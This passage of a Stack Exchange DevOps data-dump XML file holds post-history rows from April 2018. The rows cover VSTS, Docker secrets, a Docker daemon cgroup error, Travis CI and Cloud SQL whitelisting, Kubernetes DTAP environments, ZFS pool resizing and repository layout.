[See what VSTS can do for you][14] – get started with VSTS&#xD;&#xA; * [Documentation][15]&#xD;&#xA; * [Product updates][13] – view the latest updates to VSTS&#xD;&#xA; * [Submit an idea][16] – help us improve our products&#xD;&#xA; * [Report a bug][17] – having an issue? Let us know&#xD;&#xA; * [Wiki Link][18]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.visualstudio.com/team-services&#xD;&#xA;  [2]: https://www.visualstudio.com/team-services/agile-tools/&#xD;&#xA;  [3]: https://www.visualstudio.com/team-services/reporting/&#xD;&#xA;  [4]: https://www.visualstudio.com/team-services/git/&#xD;&#xA;  [5]: https://www.visualstudio.com/team-services/tfvc/&#xD;&#xA;  [6]: https://www.visualstudio.com/team-services/continuous-integration/&#xD;&#xA;  [7]: https://www.visualstudio.com/team-services/testing-tools/&#xD;&#xA;  [8]: https://www.visualstudio.com/team-services/release-management/&#xD;&#xA;  [9]: https://www.visualstudio.com/team-services/java/&#xD;&#xA;  [10]: https://www.visualstudio.com/team-services/package-management/&#xD;&#xA;  [11]: https://www.visualstudio.com/team-services/enterprise-ready/&#xD;&#xA;  [12]: https://www.visualstudio.com/team-services/pricing&#xD;&#xA;  [13]: https://www.visualstudio.com/en-us/articles/news/features-timeline&#xD;&#xA;  [14]: https://www.youtube.com/watch?v=fWSi9s5eIDE?showinfo=0&amp;autoplay=1&#xD;&#xA;  [15]: https://visualstudio.com/docs/overview&#xD;&#xA;  [16]: https://visualstudio.uservoice.com/forums/330519-team-services&#xD;&#xA;  [17]: https://developercommunity.visualstudio.com/spaces/21/index.html&#xD;&#xA;  [18]: https://www.visualstudio.com/team-services/wiki/" ContentLicense="CC BY-SA 3.0" />
  <row Id="12313" PostHistoryTypeId="24" PostId="3924" RevisionGUID="ab6ec1cd-bbd5-4eef-a122-8d8a41abca37" CreationDate="2018-04-20T06:24:59.497" Comment="Proposed by 7490 approved by 40, 47 edit id of 678" ContentLicense="CC BY-SA 3.0" />
  <row Id="12314" PostHistoryTypeId="5" PostId="3925" RevisionGUID="a0077013-fa97-451a-843c-e62e5e0bb765" CreationDate="2018-04-20T06:26:23.170" UserId="7490" Comment="added 406 characters in body" Text="Visual Studio Team Services (VSTS) provides unlimited private Git hosting, cloud build for continuous integration, agile planning (issues, Kanban, Scrum, dashboards) along with release management for continuous delivery to the cloud and on-premises. VSTS has a powerful set of collaboration tools to support your DevOps team on every platform with IDE support in Eclipse, IntelliJ, XCode and Visual Studio." ContentLicense="CC BY-SA 3.0" />
  <row Id="12315" PostHistoryTypeId="24" PostId="3925" RevisionGUID="a0077013-fa97-451a-843c-e62e5e0bb765" CreationDate="2018-04-20T06:26:23.170" Comment="Proposed by 7490 approved by 40, 47 edit id of 679" ContentLicense="CC BY-SA 3.0" />
  <row Id="12316" PostHistoryTypeId="4" PostId="3884" RevisionGUID="1454403b-d91a-4a8c-bc40-7278c5936afc" CreationDate="2018-04-20T11:51:34.217" UserId="7424" Comment="edited title" Text="How can I become a DevOps Engineer?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12317" PostHistoryTypeId="5" PostId="3904" RevisionGUID="8d6dc676-03b7-4b43-a2bf-6e440177df6d" CreationDate="2018-04-20T15:09:43.077" UserId="6578" Comment="removed sentance regarding silo-ing" Text="You have 3 methods to get secrets to an app inside a docker container. The first 2 involve docker configuration. The last one is to have your apps directly fetch secrets from a secret store.&#xD;&#xA;&#xD;&#xA;# 1 - Environment variables&#xD;&#xA;According to [&quot;The 12 Factor App&quot; guide](https://12factor.net/config), secrets are merely config, and they should always be set in the environment. You could set your secrets as environment variables during the docker run, and your app accesses them from there.&#xD;&#xA;&#xD;&#xA;# 2 - Mounted volumes&#xD;&#xA;You could have your secrets all within a particular configuration/secrets file, then mount that to your instance as a [mounted volume](https://docs.docker.com/storage/volumes/). &#xD;&#xA;&#xD;&#xA;# 3 - Fetch from secret store&#xD;&#xA;As @030 mentioned, you can use Hashicorp Vault (or &quot;Amazon Secrets Manager&quot;, or any service like that).  &#xD;&#xA;Your app, or a sidecar app can fetch the secrets it needs directly, without having to deal with any configuration on the Docker container. This method would allow you to use Dynamically created secrets (a very appealing feature of such systems) and without having to worry about the secrets being view-able from the file system or from inspecting the env variables of the docker container.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Personal Opinion&#xD;&#xA;I believe env variables is the way to go. It's easier to manage, and you can still pull from a secret store like Hashicorp Vault, if you have you CI build system pull the secrets during the build and set them when you deploy. You get the best of both worlds, and the added benefit of your developers not needing to write application code to fetch secrets. &lt;s&gt;Devs should be focused on their code functionality, and not dealing with admin tasks like fetching passwords.&lt;/s&gt;&#xD;&#xA;&#xD;&#xA;Your application's code should be focused on it's own app functionality itself, and not dealing with backend tasks like fetching passwords. Just like the 12 Factor App states.&#xD;&#xA;&#xD;&#xA;*Edit:* changed last sentence to remove implication of Developer vs SysAdmin silo-ing. The tasks themselves should be separate from a code perspective, but DevOps is about the same persons keeping both in mind and not be limited." ContentLicense="CC BY-SA 3.0" />
  <row Id="12318" PostHistoryTypeId="4" PostId="3888" RevisionGUID="46172611-35e2-402a-a67a-1756a6778557" CreationDate="2018-04-21T11:08:51.570" UserId="6375" Comment="Edit title" Text="Why can not run docker daemon?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12319" PostHistoryTypeId="24" PostId="3888" RevisionGUID="46172611-35e2-402a-a67a-1756a6778557" CreationDate="2018-04-21T11:08:51.570" Comment="Proposed by 6375 approved by -1 edit id of 680" ContentLicense="CC BY-SA 3.0" />
  <row Id="12320" PostHistoryTypeId="5" PostId="3888" RevisionGUID="a376e887-277a-4fa4-b33c-8f0f0aa237f6" CreationDate="2018-04-21T11:08:51.570" UserId="40" Comment="Edit title" Text="After instalating Docker from repo I can't run it.&#xD;&#xA;Problem is with daemon:&#xD;&#xA;&#xD;&#xA;    dockerd&#xD;&#xA;    INFO[2018-04-16T09:35:46.054942906+02:00] libcontainerd: started new docker-containerd process  pid=21656&#xD;&#xA;    INFO[0000] starting containerd                           module=containerd revision=773c489c9c1b21a6d78b5c538cd395416ec50f88 version=v1.0.3&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.content.v1.content&quot;...  module=containerd type=io.containerd.content.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.snapshotter.v1.btrfs&quot;...  module=containerd type=io.containerd.snapshotter.v1&#xD;&#xA;    WARN[0000] failed to load plugin io.containerd.snapshotter.v1.btrfs  error=&quot;path /var/lib/docker/containerd/daemon/io.containerd.snapshotter.v1.btrfs must be a btrfs filesystem to be used with the btrfs snapshotter&quot; module=containerd&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.snapshotter.v1.overlayfs&quot;...  module=containerd type=io.containerd.snapshotter.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.metadata.v1.bolt&quot;...  module=containerd type=io.containerd.metadata.v1&#xD;&#xA;    WARN[0000] could not use snapshotter btrfs in metadata plugin  error=&quot;path /var/lib/docker/containerd/daemon/io.containerd.snapshotter.v1.btrfs must be a btrfs filesystem to be used with the btrfs snapshotter&quot; module=&quot;containerd/io.containerd.metadata.v1.bolt&quot;&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.differ.v1.walking&quot;...  module=containerd type=io.containerd.differ.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.gc.v1.scheduler&quot;...  module=containerd type=io.containerd.gc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.containers&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.content&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.diff&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.events&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.healthcheck&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.images&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.leases&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.namespaces&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.snapshots&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.monitor.v1.cgroups&quot;...  module=containerd type=io.containerd.monitor.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.runtime.v1.linux&quot;...  module=containerd type=io.containerd.runtime.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.tasks&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.version&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.introspection&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] serving...                                    address=&quot;/var/run/docker/containerd/docker-containerd-debug.sock&quot; module=&quot;containerd/debug&quot;&#xD;&#xA;    INFO[0000] serving...                                    address=&quot;/var/run/docker/containerd/docker-containerd.sock&quot; module=&quot;containerd/grpc&quot;&#xD;&#xA;    INFO[0000] containerd successfully booted in 0.007348s   module=containerd&#xD;&#xA;    ERRO[2018-04-16T09:35:46.318603395+02:00] 'overlay' not found as a supported filesystem on this host. Please ensure kernel is new enough and has overlay support loaded.&#xD;&#xA;    ERRO[2018-04-16T09:35:46.321272231+02:00] 'overlay' not found as a supported filesystem on this host. Please ensure kernel is new enough and has overlay support loaded.&#xD;&#xA;    INFO[2018-04-16T09:35:46.334031676+02:00] Graph migration to content-addressability took 0.00 seconds&#xD;&#xA;    WARN[2018-04-16T09:35:46.337419439+02:00] Your kernel does not support swap memory limit&#xD;&#xA;    WARN[2018-04-16T09:35:46.337438494+02:00] Your kernel does not support memory reservation&#xD;&#xA;    WARN[2018-04-16T09:35:46.337452567+02:00] Your kernel does not support oom control&#xD;&#xA;    WARN[2018-04-16T09:35:46.337465274+02:00] Your kernel does not support memory swappiness&#xD;&#xA;    WARN[2018-04-16T09:35:46.337479319+02:00] Your kernel does not support kernel memory limit&#xD;&#xA;    WARN[2018-04-16T09:35:46.337488145+02:00] Unable to find cpu cgroup in mounts&#xD;&#xA;    WARN[2018-04-16T09:35:46.337501250+02:00] Your kernel does not support cgroup blkio weight&#xD;&#xA;    WARN[2018-04-16T09:35:46.337515483+02:00] Your kernel does not support cgroup blkio weight_device&#xD;&#xA;    WARN[2018-04-16T09:35:46.337528836+02:00] Your kernel does not support cgroup blkio throttle.read_bps_device&#xD;&#xA;    WARN[2018-04-16T09:35:46.337542675+02:00] Your kernel does not support cgroup blkio throttle.write_bps_device&#xD;&#xA;    WARN[2018-04-16T09:35:46.337556361+02:00] Your kernel does not support cgroup blkio throttle.read_iops_device&#xD;&#xA;    WARN[2018-04-16T09:35:46.337571999+02:00] Your kernel does not support cgroup blkio throttle.write_iops_device&#xD;&#xA;    WARN[2018-04-16T09:35:46.337589881+02:00] Unable to find cpuset cgroup in mounts&#xD;&#xA;    WARN[2018-04-16T09:35:46.337656042+02:00] mountpoint for pids not found&#xD;&#xA;    Error starting daemon: Devices cgroup isn't mounted&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I installed cgroup manualy:&#xD;&#xA;&#xD;&#xA;    apt-get install cgroupfs-mount&#xD;&#xA;&#xD;&#xA;But still this same issue.&#xD;&#xA;Is really a kernel from 2016 year too old?&#xD;&#xA;&#xD;&#xA;uname -a retruns:&#xD;&#xA;&#xD;&#xA;&gt; Linux xxx 3.16.0-042stab127.2 #1 SMP Thu Jan 4 16:41:44 MSK 2018&#xD;&#xA;&gt; x86_64 GNU/Linux" ContentLicense="CC BY-SA 3.0" />
  <row Id="12321" PostHistoryTypeId="4" PostId="3888" RevisionGUID="a376e887-277a-4fa4-b33c-8f0f0aa237f6" CreationDate="2018-04-21T11:08:51.570" UserId="40" Comment="Edit title" Text="Why can I not run docker daemon?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12322" PostHistoryTypeId="50" PostId="2939" RevisionGUID="ba3e10d1-05b1-4337-adf3-ad8e674b1a42" CreationDate="2018-04-21T11:13:54.977" UserId="-1" />
  <row Id="12323" PostHistoryTypeId="2" PostId="3928" RevisionGUID="1d66b986-04fc-4b62-8ea0-6ff991be9cdd" CreationDate="2018-04-21T12:13:56.167" UserId="7506" Text="I'm having trouble working out how exactly I can whitelist my TravisCI runner for testing a python adaptor talking to a Google Cloud SQL service. The Cloud SQL will only accept connections from IPs that have been whitelisted ahead of time, though I'm not sure how reserve one from Travis (if such a thing is even possible). How should I go about this?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12324" PostHistoryTypeId="1" PostId="3928" RevisionGUID="1d66b986-04fc-4b62-8ea0-6ff991be9cdd" CreationDate="2018-04-21T12:13:56.167" UserId="7506" Text="Whitelist Travis CI to Google Cloud SQL" ContentLicense="CC BY-SA 3.0" />
  <row Id="12325" PostHistoryTypeId="3" PostId="3928" RevisionGUID="1d66b986-04fc-4b62-8ea0-6ff991be9cdd" CreationDate="2018-04-21T12:13:56.167" UserId="7506" Text="&lt;google-cloud-platform&gt;&lt;travis-ci&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12326" PostHistoryTypeId="2" PostId="3929" RevisionGUID="7a556b56-25f2-4aed-85d0-e7051d8c9d3b" CreationDate="2018-04-21T14:52:47.250" UserId="7507" Text="Try this [link][1]. You need to either execute one of the following:&#xD;&#xA;&#xD;&#xA; - `ssh -i &lt;pathto/private_key&gt; &lt;vagrant&gt;@&lt;ip&gt;`&#xD;&#xA; - `ssh -o PreferredAuthentications=password user@server-ip` (if you haven’t disabled password based authentication)&#xD;&#xA;&#xD;&#xA;  [1]: https://serverfault.com/questions/747622/cant-access-my-dedicated-server-via-ssh-permission-denied-publickey-gssapi-key" ContentLicense="CC BY-SA 3.0" />
  <row Id="12334" PostHistoryTypeId="4" PostId="1017" RevisionGUID="8c492030-b6b9-44b7-a41f-73aa83ddc23c" CreationDate="2018-04-22T02:49:53.613" UserId="47" Comment="fixed typo in title" Text="Unable to ssh in a multi-machine vagrant environment" ContentLicense="CC BY-SA 3.0" />
  <row Id="12335" PostHistoryTypeId="2" PostId="3932" RevisionGUID="f9541627-d159-46fd-9f0c-7306bb6c0d8a" CreationDate="2018-04-22T13:15:57.083" UserId="210" Text="Dev, Tst, Acc, Prd (DTAP) is about isolating multiple environments to ensure that data will not be mixed, e.g. production data in development or lost, e.g. database removal removes all production data. DTAP is also about environments that are identical, e.g. if a database in prd, then there should be a database in dev as well, but the data should not be mixed. It is about prediction. The more the environments are identical the bigger the change that if a certain change works in dev, then it will work in tst, acc and prd.&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;There are at least two options, i.e. one k8s cluster or multiple.&#xD;&#xA;&#xD;&#xA;*one k8s cluster*&#xD;&#xA;&#xD;&#xA; - Lower costs&#xD;&#xA; - Dangerous as pods from production environment could be removed, while the intention was to removed dev pods.&#xD;&#xA;&#xD;&#xA;*multiple k8s clusters*&#xD;&#xA;&#xD;&#xA; - Higher costs&#xD;&#xA; - Lower change that data will be removed accidentally due to isolation" ContentLicense="CC BY-SA 3.0" />
  <row Id="12336" PostHistoryTypeId="1" PostId="3932" RevisionGUID="f9541627-d159-46fd-9f0c-7306bb6c0d8a" CreationDate="2018-04-22T13:15:57.083" UserId="210" Text="How to implement DTAP in k8s?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12337" PostHistoryTypeId="3" PostId="3932" RevisionGUID="f9541627-d159-46fd-9f0c-7306bb6c0d8a" CreationDate="2018-04-22T13:15:57.083" UserId="210" Text="&lt;kubernetes&gt;&lt;dtap&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12338" PostHistoryTypeId="2" PostId="3933" RevisionGUID="25acaf56-7eb9-4971-b364-81ebb3385462" CreationDate="2018-04-22T13:16:40.763" UserId="210" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="12339" PostHistoryTypeId="1" PostId="3933" RevisionGUID="25acaf56-7eb9-4971-b364-81ebb3385462" CreationDate="2018-04-22T13:16:40.763" UserId="210" ContentLicense="CC BY-SA 3.0" />
  <row Id="12340" PostHistoryTypeId="2" PostId="3934" RevisionGUID="4749e139-48f5-4554-bf51-91f0042045f5" CreationDate="2018-04-22T13:16:40.763" UserId="210" Text="One could use this tag if a question is about Dev, Tst, Acc and Prd (DTAP)" ContentLicense="CC BY-SA 3.0" />
  <row Id="12341" PostHistoryTypeId="1" PostId="3934" RevisionGUID="4749e139-48f5-4554-bf51-91f0042045f5" CreationDate="2018-04-22T13:16:40.763" UserId="210" ContentLicense="CC BY-SA 3.0" />
  <row Id="12342" PostHistoryTypeId="5" PostId="3511" RevisionGUID="6238037c-31b0-4240-b250-62e76302316c" CreationDate="2018-04-22T13:28:11.603" UserId="210" Comment="added 1 character in body" Text="I am planning to create a microservice that reads a database and shows a graph. Are there any people who have created such a service? What are things to consider before starting? I am thinking about django and [Springboot][1]. On the other hand, perhaps it is from a &quot;do not reinvent the wheel&quot; perspective better to choose something as graphite, but then still has to configure it.&#xD;&#xA;&#xD;&#xA;I am basically seeking for a tool that is able to read a REST interface and shows the results in a graph or otherwise a framework preferably written in Kotlin, golang or java.&#xD;&#xA;&#xD;&#xA;My aim is to show how fast something is increasing in a graph. At a certain moment I also would like to show the R2, i.e. consistency of the points, slope and so on.&#xD;&#xA;&#xD;&#xA;While writing this question, at a certain moment I would also like to predict whether something will be increased in the near future, i.e. applying data science.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.baeldung.com/spring-graphql" ContentLicense="CC BY-SA 3.0" />
  <row Id="12346" PostHistoryTypeId="50" PostId="3066" RevisionGUID="537150af-ac68-41bb-b43a-37be83acaeae" CreationDate="2018-04-22T19:43:37.770" UserId="-1" />
  <row Id="12349" PostHistoryTypeId="50" PostId="3226" RevisionGUID="966af7e5-a9e4-4e4a-a531-a9946b0523f3" CreationDate="2018-04-22T22:48:49.133" UserId="-1" />
  <row Id="12350" PostHistoryTypeId="2" PostId="3936" RevisionGUID="d62f2fe4-6a3b-4e50-8879-47f7cde86ae1" CreationDate="2018-04-23T06:52:54.380" UserId="5879" Text="As a reference, it works for our system, submodules over SSH. We use deploy keys for this purpose. In Gitlab they can be found under *Settings* --&gt; *Repository* --&gt; *Deploy Keys*. The used key has to be marked as *Enable* in each used Git repository (main and submodules)." ContentLicense="CC BY-SA 3.0" />
  <row Id="12351" PostHistoryTypeId="34" PostId="3857" RevisionGUID="7edccc66-be32-4d55-9f36-6f645aa15c31" CreationDate="2018-04-23T10:54:53.060" UserId="-1" Comment="17" />
  <row Id="12352" PostHistoryTypeId="5" PostId="1008" RevisionGUID="acec8be9-b9b6-4bd3-a2a5-1715deef2661" CreationDate="2018-04-23T13:27:18.127" UserId="2494" Comment="deleted 2 characters in body" Text="Use Kubernetes and Helm. &#xD;&#xA;&#xD;&#xA;I would recommend using the Jenkins Helm chart. It installs with `helm install stable/jenkins` and automatically scales.&#xD;&#xA;&#xD;&#xA;https://github.com/kubernetes/charts/tree/master/stable/jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="12354" PostHistoryTypeId="2" PostId="3938" RevisionGUID="0cc2e8e9-997b-4f2c-8bb9-f9cbdd501e56" CreationDate="2018-04-23T14:41:24.443" UserId="62" Text="After resizing the EBS volume, here is what I just executed when I needed to expand a ZFS pool:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;parted -l # Get the list of partitions &#xD;&#xA;parted /dev/xvdf rm 9 # Remove the buffer partition&#xD;&#xA;parted /dev/xvdf resizepart 1 100% # Resize the partition&#xD;&#xA;zpool online -e &lt;zfs partition name&gt; /dev/xvdf # Expand the zpool and the filesystem it holds&#xD;&#xA;```" ContentLicense="CC BY-SA 3.0" />
  <row Id="12358" PostHistoryTypeId="5" PostId="3934" RevisionGUID="f37b1d9a-e8c0-4360-99e4-15c7753740cb" CreationDate="2018-04-23T14:51:55.393" UserId="47" Comment="added 67 characters in body" Text="One could use this tag if a question is about Development, Testing, Acceptance and Production (DTAP) phased approach in software development." ContentLicense="CC BY-SA 3.0" />
  <row Id="12359" PostHistoryTypeId="24" PostId="3934" RevisionGUID="f37b1d9a-e8c0-4360-99e4-15c7753740cb" CreationDate="2018-04-23T14:51:55.393" Comment="Proposed by 47 approved by 40, 13 edit id of 682" ContentLicense="CC BY-SA 3.0" />
  <row Id="12361" PostHistoryTypeId="50" PostId="3112" RevisionGUID="541a0647-378d-44b3-9c1a-bb0c1fcf666d" CreationDate="2018-04-23T15:55:48.973" UserId="-1" />
  <row Id="12363" PostHistoryTypeId="5" PostId="3938" RevisionGUID="80b00e35-d939-43b5-b2e2-ec267b9e232b" CreationDate="2018-04-23T16:27:04.913" UserId="47" Comment="improved formatting" Text="After resizing the EBS volume, here is what I just executed when I needed to expand a ZFS pool:&#xD;&#xA;&#xD;&#xA;    parted -l # Get the list of partitions &#xD;&#xA;    parted /dev/xvdf rm 9 # Remove the buffer partition&#xD;&#xA;    parted /dev/xvdf resizepart 1 100% # Resize the partition&#xD;&#xA;    zpool online -e &lt;zfs partition name&gt; /dev/xvdf # Expand the zpool and the filesystem it holds&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12364" PostHistoryTypeId="2" PostId="3941" RevisionGUID="802bcd09-6d42-4623-a642-3211261dca63" CreationDate="2018-04-23T16:42:05.320" UserId="3062" Text="From the perspective of build automation, I find that it is better to have multiple repositories.  This allows for smaller configurations and more granular control of your build/release process.  You can allows reference and pull in source code to build or release (of course you can also ignore source code as well in VSTS build pipeline).&#xD;&#xA;&#xD;&#xA;This leads to being able to release just the project you want or need to your desired environment.  You can of course pull in artifacts from other builds and include them in your release if you need to.&#xD;&#xA;&#xD;&#xA;To summarize, I tend to go as small as possible and and only group things into the same repository if they are indeed part of the same project and no part of the project can be used elsewhere." ContentLicense="CC BY-SA 3.0" />
  <row Id="12365" PostHistoryTypeId="2" PostId="3942" RevisionGUID="8c5b8cd6-8b47-4314-ac0d-500b4cf9c49e" CreationDate="2018-04-23T17:56:20.277" UserId="7530" Text="I noticed that many cookbooks/playbooks/... are not of particularly high quality, and even if they are they rarely cover all cases, so it should be expanded with my custom logic everytime, while 90% of the *book remains unused (+ adds complexity/reduces ease of modification/lacks unification between *books/...).&#xD;&#xA;&#xD;&#xA;In particular, configuration management most of the time is &quot;high-level enough&quot;  to not write too many boilerplate even if you implement something from scratch (the only exception might be additional &quot;pure modules&quot; for specific use cases if DSL does not provide enough functionality).&#xD;&#xA;&#xD;&#xA;I understand this is pretty subjective, but I'm truly surprised I can't find anything related to this (pretty basic) topic. What is your experience, can we say there is a best practice for when to implement your solution from &quot;scratch&quot; or use the existing infrastructure/deployment automation code? Thanks." ContentLicense="CC BY-SA 3.0" />
  <row Id="12366" PostHistoryTypeId="1" PostId="3942" RevisionGUID="8c5b8cd6-8b47-4314-ac0d-500b4cf9c49e" CreationDate="2018-04-23T17:56:20.277" UserId="7530" Text="Do you use existing automation code (cookbooks/playbooks/dockerfiles/etc) or you write your own from scratch?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12367" PostHistoryTypeId="3" PostId="3942" RevisionGUID="8c5b8cd6-8b47-4314-ac0d-500b4cf9c49e" CreationDate="2018-04-23T17:56:20.277" UserId="7530" Text="&lt;configuration-management&gt;&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12370" PostHistoryTypeId="5" PostId="3910" RevisionGUID="13f731e3-28fb-41aa-8eeb-686a40551012" CreationDate="2018-04-23T18:07:32.490" UserId="40" Comment="deleted 20 characters in body" Text="We are a small company with the following systems:&#xD;&#xA;&#xD;&#xA; - External Web Site for pre-customers (already created in ASP.NET Framework),&#xD;&#xA; - External Mobile Application for customers (in progress in Flutter),&#xD;&#xA; - Internal custom CRM that work on items collected by this External Web Site and Mobile App (already created in ASP.NET Core),&#xD;&#xA; - Internal DataBase and REST API Server (already created in ASP.NET Core this will NOT be changed in a long time).&#xD;&#xA;&#xD;&#xA;So External Web Site and Mobile App talks to Internal Database by API, and then Internal CRM uses this API to retrieve data collected by those External Systems. We are moving from mono repo in Subversion to GIT in VSTS. &#xD;&#xA;&#xD;&#xA;How should we divide projects into the repository? &#xD;&#xA;Should we have one repository to manage all products and then later build CI/CD configured to release few projects at once? This will be easier to run development on a single machine with API running in the background. Or should we have few repositories with Test environment to manage API and Database version? This will require setting up an additional server for Web API and Database.&#xD;&#xA;&#xD;&#xA;I am asking from a project manager and developer perspective what will be easier and more convenient to use and manage?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12371" PostHistoryTypeId="2" PostId="3943" RevisionGUID="da9716cd-5fc7-4a68-9b4e-eaf8b0088544" CreationDate="2018-04-23T19:17:20.160" UserId="4175" Text="My limited experience is indeed that often, you can get a first solution very quickly with pre-made automation code; unfortunately, often there either appear unexpected problems during &quot;first contact&quot;, or later during use, especially when you wish to expand the configuration for unusual cases.&#xD;&#xA;&#xD;&#xA;So, indeed, I do tend to approach this with an open mind. I will certainly start out with something pre-made, but sometimes my gut feeling tells me to take a look under the hood, and then I'll decide rather spontaneously if I better do it myself, or whether it is a good idea to roll with it..." ContentLicense="CC BY-SA 3.0" />
  <row Id="12372" PostHistoryTypeId="2" PostId="3944" RevisionGUID="e5b859e2-1d7c-44b8-aa83-6ebca21ae867" CreationDate="2018-04-23T19:34:46.787" UserId="5910" Text="We need integration testing framework - pass a url pass requests to that url and get responses and evaluate repsonses.&#xD;&#xA;&#xD;&#xA;Requirements:&#xD;&#xA;&#xD;&#xA;	1. We want a tool that can easily implement into a CICD pipeline like Jenkins/hudson&#xD;&#xA;	2. Not to heavy of a footprint&#xD;&#xA;	3. Ease of writing tests&#xD;&#xA;	4. love to be able to give a docker image and some files however the tests are built and integrate that&#xD;&#xA;&#xD;&#xA;Need to be able to do insertions if they return data or not&#xD;&#xA;Support decent sized files" ContentLicense="CC BY-SA 3.0" />
  <row Id="12373" PostHistoryTypeId="1" PostId="3944" RevisionGUID="e5b859e2-1d7c-44b8-aa83-6ebca21ae867" CreationDate="2018-04-23T19:34:46.787" UserId="5910" Text="What integration test framework has the best docker support?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12374" PostHistoryTypeId="3" PostId="3944" RevisionGUID="e5b859e2-1d7c-44b8-aa83-6ebca21ae867" CreationDate="2018-04-23T19:34:46.787" UserId="5910" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;testing&gt;&lt;integration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12375" PostHistoryTypeId="50" PostId="3144" RevisionGUID="7b921573-af6c-458e-b113-fbbbf5718472" CreationDate="2018-04-23T21:57:31.470" UserId="-1" />
  <row Id="12376" PostHistoryTypeId="2" PostId="3945" RevisionGUID="521877ec-43b0-4e41-84a4-c9dad937c117" CreationDate="2018-04-23T22:09:46.643" UserId="3062" Text="So I have a local jenkins server building artifacts.  I trigger this build through VSTS.  When browsing through the logs when uploading the artifacts to VSTS from the local jenkins server I found this: `Downloading content from Jenkins server:http://[ip]:[port]//job/[Folder Name]/job/[Build Definition Name]//api/json?tree=lastSuccessfulBuild[id,displayname] with strict SSL:true`&#xD;&#xA;&#xD;&#xA;This could pose an issue where the triggered build may get beat out by another build (theoretically).  While this is not a high likelihood, I would like to mitigate all possible artifact confusions as that is one of the main points my company is moving to build automation and continuous integration.  I did see something related to the VSTS Task in issue [4110][1] but not sure what is coming of this.&#xD;&#xA;&#xD;&#xA;What I'm trying to accomplish is that when Jenkins finishes the build it uploads it to VSTS.  Because of the size of the build, when we go to releases, I would like to not download the artifacts back to our local premise, (using deployment groups) but instead copy it internally directly from the Jenkins build server.  Does anyone have any suggestions?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/Microsoft/vsts-tasks/issues/4110 &quot;4110&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12377" PostHistoryTypeId="1" PostId="3945" RevisionGUID="521877ec-43b0-4e41-84a4-c9dad937c117" CreationDate="2018-04-23T22:09:46.643" UserId="3062" Text="Linking VSTS build with jenkins artifacts" ContentLicense="CC BY-SA 3.0" />
  <row Id="12378" PostHistoryTypeId="3" PostId="3945" RevisionGUID="521877ec-43b0-4e41-84a4-c9dad937c117" CreationDate="2018-04-23T22:09:46.643" UserId="3062" Text="&lt;jenkins&gt;&lt;azure-devops&gt;" ContentLicense="CC BY-SA 3.0" />
